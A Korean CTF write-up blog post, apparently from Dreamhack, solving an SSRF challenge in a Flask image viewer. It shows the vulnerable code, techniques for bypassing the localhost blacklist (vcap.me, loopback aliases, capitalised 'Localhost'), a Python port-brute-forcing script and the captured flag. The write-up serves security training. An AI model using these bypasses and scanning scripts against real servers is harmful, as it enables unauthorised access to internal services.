FLASK로 작성된 image viewer 서비스
SSRF 취약점을 이용해 플래그를 획득하기
/app/flag.txt에 플래그가 존재함.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
GET과 POST 요청 처리.
GET : img_viewer.html 렌더링
POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링함.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행함.
http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성됨.
호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근하는 것은 불가능함.
취약점 분석
img_viewer는 이용자가 POST로 전달한 url에 HTTP 요청을 보내고, 응답을 반환함.
그런데 img_viewer는 서버 주소에 "127.0.0.1", "localhost"이 포함된 URL로의 접근을 막음.
이를 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있음.
URL 필터링
URL에 포함된 문자열을 검사하여 부적절한 URL로의 접근을 막는 보호 기법.
- 블랙리스트 필터링
URL 포함 불가 문자열 블랙리스트 만들어서 이용자 접근 제어.
- 화이트리스트 필터링
접근을 허용할 URL로 화이트리스트를 만듦.
이용자가 화이트리스트 외의 URL에 접근하려하면 이를 차단함.
URL 필터링 우회
- 127.0.0.1과 매핑된 도메인 이름 사용
임의의 도메인 이름을 구매하여 127.0.0.1과 연결하고, 그 이름을 url로 사용함.
이미 127.0.0.1에 매핑된 "*.vcap.me"를 이용하는 방법도 있음.
- 127.0.0.1의 alias 이용
하나의 IP는 여러 방식으로 표기 가능함.
127.0.0.1 ~ 127.0.0.255 = 루프백 주소. 모두 로컬 호스트를 가리킴.
localhost의 alias 이용
URL에서 호스트와 스키마는 대소문자 구분하지 않음.
따라서 "localhost"의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미함.
Proot-of-Concept
위 URL을 image_viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환됨.
로컬 호스트를 가리키면서, 필터링을 우회할 수 있는 URL임.
랜덤한 포트 찾기
내부 HTTP 서버는 포트 번호 1500~1800 인 임의 포트에서 실행됨.
위 url을 활용하여 파이썬 스크립트를 작성하면, 브루트포스로 포트를 찾을 수 있음.
아래는 포트 번호를 찾는 브루트포싱 코드임.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = 18827
chall_url = f"http
://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
http://Localhost:1674/flag.txt를 Image Viewer에 입력해준다.
나오는 이미지의 소스를 개발자도구로 확인한다.
base64로 인코딩돼있는 것을 확인할 수 있다.
DH{43dd2189056475a7f3bd11456a17ad71}
'Dreamhack' 카테고리의 다른 글
파일 취약점 함께 실습 (0) | 2022.08.24 |
---|---|
File Vulnarability (0) | 2022.08.24 |
Command Injection (0) | 2022.08.19 |
암호학 - 해시 (0) | 2022.08.12 |
No SQL Injection 실습 (0) | 2022.08.11 |